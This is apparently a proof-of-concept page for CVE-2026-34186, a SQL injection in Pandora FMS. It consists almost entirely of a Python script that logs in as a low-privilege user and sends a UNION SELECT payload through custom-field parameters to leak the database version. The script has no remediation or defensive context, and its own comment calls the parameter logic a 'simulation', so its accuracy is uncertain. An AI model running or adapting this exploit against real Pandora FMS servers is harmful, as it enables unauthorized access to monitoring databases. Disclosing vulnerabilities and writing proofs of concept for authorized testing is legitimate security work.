CVE-2026-34186 Pandora FMS SQL注入漏洞

import requests # Proof of Concept for CVE-2026-34186 # Target: Pandora FMS v777 - v800 TARGET_URL = "http://target-ip/pandora_console/index.php" LOGIN_URL = TARGET_URL + "?login=1" # Low privilege credentials USERNAME = "low_priv_user" PASSWORD = "password" # Initialize session s = requests.Session() # 1. Authenticate login_data = {"nick": USERNAME, "pass": PASSWORD, "login_button": "Login"} s.post(LOGIN_URL, data=login_data) # 2. Exploit SQL Injection in Custom Fields # Vulnerable parameter logic simulation # Payload to extract database version payload = "1' UNION SELECT 1,2,version(),4,5-- -" exploit_data = { "page": "operation/agentes/ver_agente", "id_agente": "1", "custom_field_id": "1", "value": payload } response = s.get(TARGET_URL, params=exploit_data) # 3. Check for vulnerability if "mysql" in response.text or "5." in response.text: print("[+] Vulnerability confirmed! Database version leaked in response.") else: print("[-] Exploit failed or target patched.")